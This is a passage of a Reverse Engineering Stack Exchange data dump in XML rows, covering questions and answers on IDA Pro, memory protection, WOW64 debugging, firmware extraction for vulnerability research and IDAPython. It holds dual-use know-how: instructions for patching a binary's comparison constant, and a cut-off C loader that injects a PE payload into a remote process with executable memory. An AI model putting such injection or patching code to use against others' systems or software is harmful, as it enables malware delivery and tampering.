  <row Id="19106" PostTypeId="1" CreationDate="2018-08-20T07:04:04.883" Score="3" ViewCount="767" Body="&lt;p&gt;2 related questions:&#xA;I noticed that in some of the blocks in the graph there are more branches that I would expect.&#xA;These are not jump tables yes I see, e.g. 3 possible branches.&#xA;How come?&#xA;The 2nd issues, which may be related is what does the “try{“ comment mean? &#xA;&lt;a href=&quot;https://i.stack.imgur.com/dge8i.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/dge8i.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;or this:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/gDISH.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/gDISH.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="25313" LastEditorUserId="2147" LastEditDate="2018-08-27T22:46:09.560" LastActivityDate="2019-12-21T07:02:00.350" Title="IDA PRO &quot;try{&quot; comment" Tags="|ida|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="19107" PostTypeId="2" ParentId="19085" CreationDate="2018-08-20T14:05:38.827" Score="0" Body="&lt;p&gt;The only way this can be accomplished, in my opinion, is to override the Page Fault Handler. You cannot do this in user mode, however. The hooks you cite deal with user mode DLL entry points, which is easy to achieve. The paging mechanism is implemented in the kernel, at Ring 0, so basically you will need to write a driver which, in case of a Page Fault, checks if the address is in the range you want monitored and, if yes, calls your function; otherwise calls the default kernel routines. Quite tricky to do, especially on Windows (Linux is somewhat easier) and you risk in de-stabilizing the entire system.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is what kernel-mode debuggers such as SoftICE  (&lt;a href=&quot;https://en.wikipedia.org/wiki/SoftICE&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://en.wikipedia.org/wiki/SoftICE&lt;/a&gt;) or WinDbg (&lt;a href=&quot;https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/getting-started-with-windbg--kernel-mode-&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/getting-started-with-windbg--kernel-mode-&lt;/a&gt;) do.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you really want to go for it, a good starting point for information is here: &lt;a href=&quot;https://stackoverflow.com/questions/18431261/how-does-x86-paging-work&quot;&gt;https://stackoverflow.com/questions/18431261/how-does-x86-paging-work&lt;/a&gt;&#xA;and of course &lt;a href=&quot;https://docs.microsoft.com/en-us/windows-hardware/drivers/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.microsoft.com/en-us/windows-hardware/drivers/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PS: No way to do it for registers&lt;/p&gt;&#xA;" OwnerUserId="25126" LastActivityDate="2018-08-20T14:05:38.827" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19109" PostTypeId="1" CreationDate="2018-08-20T15:39:50.827" Score="1" ViewCount="443" Body="&lt;p&gt;I have a 32bit application and a few wrapper tools that I use one after another to inject code, hook system dll functions (using the patch-first-bytes-of-the-function-with-jump approach). Also I have a tool that injects code into the application process and starts new thread. &#xA;My problem is that sometimes I'm getting an exception. The application is 32bit so I'm using 32bit debugger. From what I can see the exception comes from memory region that is supposed to be wow64.dll. Wow64.dll has some 64bit code. Due to this I have problems debugging the reason for this exception. My questions are:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;When exception is thrown from wow64.dll 64bit code, can I depend on the exception info reported by 32bit debugger or the fields will contain wrong values (is there a difference between 64bit exception struct and 32bit one)?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Is there any reliable way of debugging pieces of 64bit code inside 32bit processes?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="25056" LastActivityDate="2018-10-19T19:00:29.817" Title="How to debug a crash in wow64.dll in 32bit process" Tags="|debugging|x86|x86-64|exception|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19110" PostTypeId="1" AcceptedAnswerId="19112" CreationDate="2018-08-20T16:21:05.147" Score="0" ViewCount="77" Body="&lt;p&gt;I want to protect the certain memory area, like 0x12345678 ~ 0x12345679.&#xA;so if another thread accesses to that area, I want to generate exception.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To solve my problem, I've found and used VirtualProtectEx win32 api.&#xA;&lt;a href=&quot;https://msdn.microsoft.com/en-us/library/windows/desktop/aa366899(v=vs.85).aspx&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://msdn.microsoft.com/en-us/library/windows/desktop/aa366899(v=vs.85).aspx&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And my code looks as follows.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;...&#xA;DWORD dwA = 0xFFFFFFFF;&#xA;DWORD dwC = 0xCCCCCCCC;&#xA;int main()&#xA;{&#xA;    DWORD dwProtect = PAGE_READONLY;&#xA;&#xA;    HANDLE handle = OpenProcess(PROCESS_ALL_ACCESS, TRUE, GetCurrentProcessId());&#xA;    VirtualProtectEx((HANDLE)handle, (PVOID)&amp;amp;dwA, 4, dwProtect, &amp;amp;dwProtect);&#xA;    DWORD dwB = dwA;&#xA;    dwC = 0x00000000;&#xA;    dwA = 0x00000000;&#xA;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here, I set read-only protection to dwA's memory.&#xA;But at dwC = 0x00000000, I got exception.&#xA;I think it's because VirtualProtectEx protects the page, not the certain memory.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I just want to protect only dwA's memory.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anybody please help me by leading me to correct direction?&lt;/p&gt;&#xA;" OwnerUserId="25369" LastEditorUserId="25369" LastEditDate="2018-08-20T16:50:19.673" LastActivityDate="2018-08-20T17:58:15.010" Title="How to protect memory area, not segment or page!" Tags="|windows|c++|c|virtual-memory|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19111" PostTypeId="2" ParentId="19109" CreationDate="2018-08-20T16:45:43.167" Score="-1" Body="&lt;p&gt;Your problem is so strange.&#xA;As I knew, 64bit exe loads only 64bit dlls and 32bit exe loads only 32bit dlls.&#xA;I don't know well about wow64.dll, but if your exe is for 32bit, os will automatically lead your exe to load 32 bit dll.&#xA;Therefore, system drive includes system32 and syswow64 directories under the Windows directory.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And furthermore, 32bit dll can't contain 64bit assembly code.&#xA;If it still needs, 32bit executables can contain 64bit assembly code as data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope my answer helps you to understand your problem.&lt;/p&gt;&#xA;" OwnerUserId="25369" LastActivityDate="2018-08-20T16:45:43.167" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="19112" PostTypeId="2" ParentId="19110" CreationDate="2018-08-20T17:58:15.010" Score="1" Body="&lt;p&gt;The protections are supported only on page granularity by the CPU and you cannot change that. What you can do is in  your exception handler check which address generated the fault, and if it's not the variable you want to &quot;protect&quot;, restore permissions to the original value, single-step to allow the write be performed, then disable writes again. This is complicated and pretty slow so should be used only when necessary.&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2018-08-20T17:58:15.010" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19114" PostTypeId="1" AcceptedAnswerId="19121" CreationDate="2018-08-20T20:04:01.683" Score="-1" ViewCount="169" Body="&lt;p&gt;I have a so. library which I know the &quot;C&quot; interface but I don't have access to the source code only the disassembled code which is hard to understand at least for me.&#xA;I know the input parameters (including the expected ranges of the parameters) and I get the corresponding result of the formula.&#xA;I wrote a small program to test every combination of the input parameters and record the results.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example I recorded these pairs (all possible combinations are over 430.000):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;param1;param2;result&#xA;26.4;63.6;50.490&#xA;32.0;107.7;48.552&#xA;70.2;65.4;21.277&#xA;79.1;71.4;14.923&#xA;18.8;48.0;55.703&#xA;65.4;19.9;24.704&#xA;58.9;85.6;29.345&#xA;48.0;50.6;37.128&#xA;17.3;19.7;56.732&#xA;72.6;40.1;19.564&#xA;59.2;42.1;29.131&#xA;43.1;33.7;40.627&#xA;47.2;52.1;37.699&#xA;33.6;55.2;47.410&#xA;31.7;49.3;48.766&#xA;22.5;19.4;53.165&#xA;33.7;66.0;47.338&#xA;49.2;82.4;36.271&#xA;31.3;91.3;49.052&#xA;42.2;43.2;41.269&#xA;65.3;92.8;24.776&#xA;13.2;24.5;59.545&#xA;13.6;57.0;59.270&#xA;59.5;48.6;28.917&#xA;61.3;27.1;27.632&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I already tried to train a neural network + back propagation with k=5 sigmoid activation neuron and 1 hidden layer with a learn factor of gamma=0.1 and 10000 steps but I get only poor results.&#xA;It is possible to train a neural network to generate nearly the same results (for example with an error of ~0.001) as the so. library function?&#xA;Is my neural network wrong? Is there a better method?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any idea or help is welcome!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;edit:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thanks @Rok Tavčar I added an image of the data points as a 3d plot.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/VAVtQ.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/VAVtQ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&#xA;It looks like two linear 2d surfaces but at some point it jumps a bit.&#xA;I guess I can divide it as two linear functions. Now, I need to figure out how I do a 2d linear regression. If somebody could give me hint that would be grateful.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Nevertheless, the .so library has more complex functions, which dimensional is higher (up to 6). So I can't plot it anymore. I need a more general approach but I will also give it a try to understand the disassembled arm code as  @0xC0000022L suggested.&lt;/p&gt;&#xA;" OwnerUserId="25393" LastEditorUserId="2147" LastEditDate="2018-08-27T22:52:12.167" LastActivityDate="2018-08-27T22:52:12.167" Title="Is it possible to get the formula out of a blackbox using neural network" Tags="|functions|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="19115" PostTypeId="1" AcceptedAnswerId="19117" CreationDate="2018-08-20T20:33:15.133" Score="-3" ViewCount="1226" Body="&lt;p&gt;so I have the .idb file of an executeable I want to modify.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the IDB file, I found this code&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/K9V5F.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/K9V5F.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And I basically want to change 4111006 to 1006 in that IF condition.&#xA;however, when I press TAB to go to pseudocode, this is what it shows me&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/SNIkH.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/SNIkH.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(marked in yellow)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So it shows 4121000 and 4111001 in these segments, but it doesn't show the rest and the one I want to change (4111006), preventing me from finding it in ollydbg / a hex editor and changing it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to find 4111006 and change it to a different integer value? If so, how can I do that? Thank you.&lt;/p&gt;&#xA;" OwnerUserId="25394" LastEditorUserId="25394" LastEditDate="2018-08-20T20:52:19.063" LastActivityDate="2018-08-21T04:37:42.537" Title="Change value of an IF condition found in IDA" Tags="|ida|assembly|ollydbg|decompilation|executable|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="19116" PostTypeId="1" CreationDate="2018-08-21T01:13:13.513" Score="1" ViewCount="219" Body="&lt;p&gt;I'm attempting to reverse engineer the DI-8002W firmware from Dlink in order to search for vulnerabilities within the router. I'm at the point where I've recovered the Linux Image, but I cannot recover the file system itself at the moment. I'll walk through what I've done so far.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Firmware can be found here - &lt;a href=&quot;http://support.dlink.com.cn/ProductInfo.aspx?m=DI-8002W&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://support.dlink.com.cn/ProductInfo.aspx?m=DI-8002W&lt;/a&gt; (Second Option)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Extracting uImage&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unzipping the download shows us &lt;code&gt;DI_8002W-16.07.26A1.trx&lt;/code&gt;. This appears to be invalid from a strictly &quot;trx&quot; format, but rather has some Dlink specific information in the first 76 bytes such as &lt;code&gt;VER216.07.26&lt;/code&gt;, etc. I strip this off with DD to get the uBoot image from the trx file. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;binwalk DI_8002W-16.07.26A1.trx &#xA;&#xA;DECIMAL       HEXADECIMAL     DESCRIPTION&#xA;--------------------------------------------------------------------------------&#xA;76            0x4C            uImage header, header size: 64 bytes, header CRC: 0x6850C842, created: 2016-08-03 22:52:13, image size: 5612788 bytes, Data Address: 0x80000000, Entry Point: 0x8000C2F0, data CRC: 0xBE8E9338, OS: Linux, CPU: MIPS, image type: OS Kernel Image, compression type: lzma, image name: &quot;Linux Kernel Image&quot;&#xA;140           0x8C            LZMA compressed data, properties: 0x5D, dictionary size: 33554432 bytes, uncompressed size: 8550244 bytes&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;dd if=DI_8002W-16.07.26A1.trx of=clean.trx bs=1 skip=76&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;uImage&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At this point it appears that I have a valid uImage file, comprising of a linux kernel image and lzma compressed data. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mkimage -l clean.trx &#xA;Image Name:   Linux Kernel Image&#xA;Created:      Thu Aug  4 08:52:13 2016&#xA;Image Type:   MIPS Linux Kernel Image (lzma compressed)&#xA;Data Size:    5612788 Bytes = 5481.24 kB = 5.35 MB&#xA;Load Address: 80000000&#xA;Entry Point:  8000c2f0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;file clean.trx: u-boot legacy uImage, Linux Kernel Image, Linux/MIPS, OS Kernel Image (lzma), 5612788 bytes, Wed Aug  3 22:52:13 2016, Load Address: 0x80000000, Entry Point: 0x8000C2F0, Header CRC: 0x6850C842, Data CRC: 0xBE8E9338&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I presume the files / file system is located in the lzma data, so once again I extract this out, removing the header from the file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;dd if=clean.trx of=uboot.lzma skip=64 bs=1&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;LZMA data&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;file confirms we have valid LZMA data (at least according to the magic bytes).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;file uboot.lzma: LZMA compressed data, non-streamed, size 8550244&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I decompress the file with unlzma uboot.lzma and get the following file. This is about as much diagnostic information that I know how to provide.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;file uboot: data&#xA;&#xA;mkimage -l uboot &#xA;Image Type:   MVEBU Boot from (null) Image&#xA;Image version:0&#xA;Data Size:    -4 Bytes = 4194304.00 kB = 4096.00 MB&#xA;Load Address: 00000000&#xA;Entry Point:  00000000&#xA;&#xA;binwalk uboot &#xA;&#xA;DECIMAL       HEXADECIMAL     DESCRIPTION&#xA;--------------------------------------------------------------------------------&#xA;3399752       0x33E048        Linux kernel version &quot;2.6.36+ (root@jhl-ubuntu) (gcc version 3.4.2) #2035 Wed Aug 3 18:52:00 EDT 2016&quot;&#xA;3587968       0x36BF80        CRC32 polynomial table, little endian&#xA;3608048       0x370DF0        Base64 standard index table&#xA;3900536       0x3B8478        xz compressed data&#xA;3959784       0x3C6BE8        HTML document header&#xA;3959845       0x3C6C25        HTML document footer&#xA;3962060       0x3C74CC        HTML document header&#xA;3962252       0x3C758C        HTML document footer&#xA;3962416       0x3C7630        HTML document header&#xA;3962785       0x3C77A1        HTML document footer&#xA;3986999       0x3CD637        Neighborly text, &quot;neighbor %.2x%.2x.%pM lostde&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm looking to transition from this point to discovering / analysing the file system to look for vulnerabilities. Attempting to perform binwalk extraction (i.e binwalk -eM *) is leading to what appears to be a recursing result of the same files being extracted over and over. In other words, an extraction folder with three files are created. Going into this folder and performing binwalk -eM on any of these files will extract exactly the same three files once more.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm lost on how we can transition from this point to recovering the file system.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any thoughts or areas you can suggest I could read up would be greatly appreciated.&lt;/p&gt;&#xA;" OwnerUserId="25397" LastActivityDate="2018-08-21T01:13:13.513" Title="Attempting to RE DI-8002W Dlink Firmware. Cannot find file system" Tags="|firmware|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19117" PostTypeId="2" ParentId="19115" CreationDate="2018-08-21T04:37:42.537" Score="0" Body="&lt;p&gt;The way how those IFs are constructed in the assembly is a bit different than what you see in high-level overview in IDA code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Apart from the first one, ifs are represented with subtraction (&lt;code&gt;sub&lt;/code&gt; &amp;amp; &lt;code&gt;dec&lt;/code&gt;) and &lt;code&gt;jz&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This code is an alternative of conditions:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (Args == 4121000 || Args == 4111001)&#xA;    goto LABEL_297&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and is represented in asm with this code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;6DCC53: mov ecx, 4121000&#xA;6DCC55: cmp eax, ecx&#xA;6DCC57: jg short loc_6DCC93&#xA;6DCC5D: jz loc_6DCBB6&#xA;6DCC62: sub eax, 4111001&#xA;6DCC68: jz loc_6DCBB6&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;because in the first 4 lines (excluding 3rd) you have the first part of the if (standard &lt;code&gt;cmp&lt;/code&gt; + &lt;code&gt;jz&lt;/code&gt;) and then later a value of &lt;code&gt;4111001&lt;/code&gt; is subtracted from &lt;code&gt;eax&lt;/code&gt;. If it results in zero then we know that the value was equal to it and we jump to the same location. So IDA identifies this as an alternative of two values: &lt;code&gt;4121000&lt;/code&gt;, &lt;code&gt;4111001&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The following ifs are represented with this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;dec eax&#xA;jz loc_6DCXXX&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Remember that after the line &lt;code&gt;6DCC62&lt;/code&gt; the value in &lt;code&gt;eax&lt;/code&gt; we compare with is already &lt;code&gt;-4111001&lt;/code&gt;, so if we subtract one more time and if we get zero, we know that the initial value was &lt;code&gt;4111002&lt;/code&gt;. This is why IDA represents this as:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (Args == 4111002)&#xA;    goto LABEL_346&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The next branches are the same. So you if want to modify the last one, you would have to modify the line that IDA correctly pointed you to + the one before. So instead of having there the same pattern as for all the other ifs, you need to write:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;cmp ecx, 1006&#xA;jz 6DCD28&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and assemble such opcodes.&lt;/p&gt;&#xA;" OwnerUserId="18014" LastActivityDate="2018-08-21T04:37:42.537" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19118" PostTypeId="2" ParentId="19114" CreationDate="2018-08-21T06:45:37.483" Score="2" Body="&lt;p&gt;No, you cannot use neural network (NN) to solve problems like this (you probably could, but it would be way to complex). If you already used NN you know that they can get output only if they see it in training set. For example in this case you would need to train NN on all possible outcomes. Another problem or how NN works is that they to set linear borders in each dimension of input data and try to find best match on which side of border is correct result. This is mostly usefull when output is discrete not continous.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What you could do beside disassembly is use  &lt;a href=&quot;https://en.wikipedia.org/wiki/Satisfiability_modulo_theories&quot; rel=&quot;nofollow noreferrer&quot;&gt;SMT&lt;/a&gt; solver, but you will still need to know something about function you are trying to reverse. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another out a box idea is that with so low possible combinations you can easily (Unless your function is slow) draw graph of (almost) all combinations and try to guess function.&lt;/p&gt;&#xA;" OwnerUserId="25138" LastActivityDate="2018-08-21T06:45:37.483" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19119" PostTypeId="1" AcceptedAnswerId="19120" CreationDate="2018-08-21T07:38:16.753" Score="2" ViewCount="3164" Body="&lt;p&gt;Using IDA PRO, after making a few patched, can I run the patched program in the debugger?&#xA;What I have been doing so far is:&#xA;1.  Edit &gt; Patch Program &gt; Apply patch to input file…&#xA;2.  Save in a specific location&#xA;3.  Move to windows location under /programs instead of the original file&#xA;4.  Reload the patched file in IDA&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This overwrites the original file. Mostly I need to put it in another location since the original may be under windows folder.&#xA;In addition if forces my to reopen IDA and load the patched file and since this is a new file I lose all my work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way, like in Oly, to simple run the patched file?&lt;/p&gt;&#xA;" OwnerUserId="25313" LastEditorUserId="2147" LastEditDate="2018-08-27T22:52:05.260" LastActivityDate="2020-12-25T09:49:35.517" Title="IDA PRO run patched program from debugger without creating new exe" Tags="|ida|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19120" PostTypeId="2" ParentId="19119" CreationDate="2018-08-21T10:44:52.040" Score="1" Body="&lt;p&gt;To debug a patched program in Ida, a simple way (for me!) is to patch it not in Ida, but in another hex editor. If you leave it its name, you will not lose your work in Ida. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In this way, you can leave Ida running and continue with the patched file, after applying &quot;File, Load File, Reload the Input File&quot;. Your patches will show up.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course, you always should have saved your original file.&lt;/p&gt;&#xA;" OwnerUserId="12800" LastActivityDate="2018-08-21T10:44:52.040" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="19121" PostTypeId="2" ParentId="19114" CreationDate="2018-08-21T18:17:51.953" Score="1" Body="&lt;p&gt;thanks @all Finally, I was able to understand the disassembled code. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The function is as follow (I used IDA free for that):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;static double test_function(double xmm0) {&#xA;    double xmm1 = 100.0;&#xA;    xmm1 = xmm1 - xmm0;&#xA;    xmm1 = xmm1 * 0.7;&#xA;&#xA;    if (xmm1 &amp;lt; 50) {&#xA;        xmm1 = xmm1 * 1.02;&#xA;    } else {&#xA;        xmm1 = xmm1 * 0.98;&#xA;    }&#xA;&#xA;   return xmm1;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;My first reverse engineered snippet from a disassembled code. Yay! :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I will try to reverse engineer a more complex function. Maybe I need your help again.&lt;/p&gt;&#xA;" OwnerUserId="25393" LastActivityDate="2018-08-21T18:17:51.953" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19122" PostTypeId="1" CreationDate="2018-08-21T18:46:16.200" Score="2" ViewCount="1715" Body="&lt;p&gt;I'm looking for a way, to make programmatically change of data type. This is the same as you press 'C' or 'D'. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example convert this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.text:00401008 unk_401008      db  55h ; U             ; CODE XREF: start↑p&#xA;.text:00401009                 db  8Bh ; ‹&#xA;.text:0040100A                 db 0ECh ; ì&#xA;.text:0040100B                 db  83h ; ƒ&#xA;.text:0040100C                 db 0ECh ; ì&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.text:00401008 loc_401008:                             ; CODE XREF: start↑p&#xA;.text:00401008                 push    ebp&#xA;.text:00401009                 mov     ebp, esp&#xA;.text:0040100B                 sub     esp, 0Ch&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and vice versa.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;These functions should be listed here &lt;a href=&quot;https://www.hex-rays.com/products/ida/support/idapython_docs/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.hex-rays.com/products/ida/support/idapython_docs/&lt;/a&gt; but I can't find it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So far I found only this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;generate_disasm_line(here(), GENDSM_FORCE_CODE)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but it only prints data to output, and does not change the &quot;IDA View&quot; window content.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="25069" LastEditorUserId="25069" LastEditDate="2018-08-21T20:28:03.370" LastActivityDate="2022-02-07T13:17:16.493" Title="IDAPython Code &lt;-&gt; Data" Tags="|ida|patching|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19123" PostTypeId="2" ParentId="19122" CreationDate="2018-08-21T20:27:45.400" Score="4" Body="&lt;p&gt;ah, to create code there is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;create_insn(here())&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The last question, when I'm trying to create data from code I'm getting False:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Python&amp;gt;create_byte(here())&#xA;False&#xA;Python&amp;gt;create_data(here(), FF_BYTE, 0x79, 0)&#xA;False&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is because I need previously &lt;code&gt;del_items()&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="25069" LastActivityDate="2018-08-21T20:27:45.400" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="19124" PostTypeId="1" CreationDate="2018-08-21T21:49:11.607" Score="1" ViewCount="756" Body="&lt;p&gt;I'm trying to inject my executable payload into remote process. &#xA;I allocated memory in remote process, I converted raw payload using RVA addressing. I applied relocations and imports table. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I'm testing my solution in Windows 10 environment it works fine. Exe is injected and it runs properly, and shows me message box. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But when I'm trying to do the same on Windows 7 64bit (loader, payload and target are compiled as x86 code), I have an error:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Access violation executing location 0x7698FD1E&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I checked, and this address is an MessageBoxA function's address from user32.dll library&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is my main code to inject pe to remote process:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;char* target_n = &quot;InjectTarget.exe&quot;;&#xA;    char* payload_path  = &quot;C:\\Users\\pb\\source\\repos\\pe-dumper\\Debug\\DummyApp.exe&quot;;&#xA;&#xA;    FILE* raw_payload = get_file_buffer(payload_path);&#xA;    PIMAGE_NT_HEADERS inth = get_nt_headers(raw_payload);&#xA;&#xA;    DWORD kImageSize = inth-&amp;gt;OptionalHeader.SizeOfImage;&#xA;    DWORD kTargetProcId = get_process_id(target_n);&#xA;&#xA;    HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, NULL, kTargetProcId);&#xA;    if (hProcess == NULL) {&#xA;        printf(&quot;Error: Process handle is NULL\n&quot;);&#xA;    }&#xA;&#xA;    LPVOID imageBaseRemote = VirtualAllocEx(hProcess, NULL, kImageSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);&#xA;    if (imageBaseRemote == NULL) {&#xA;        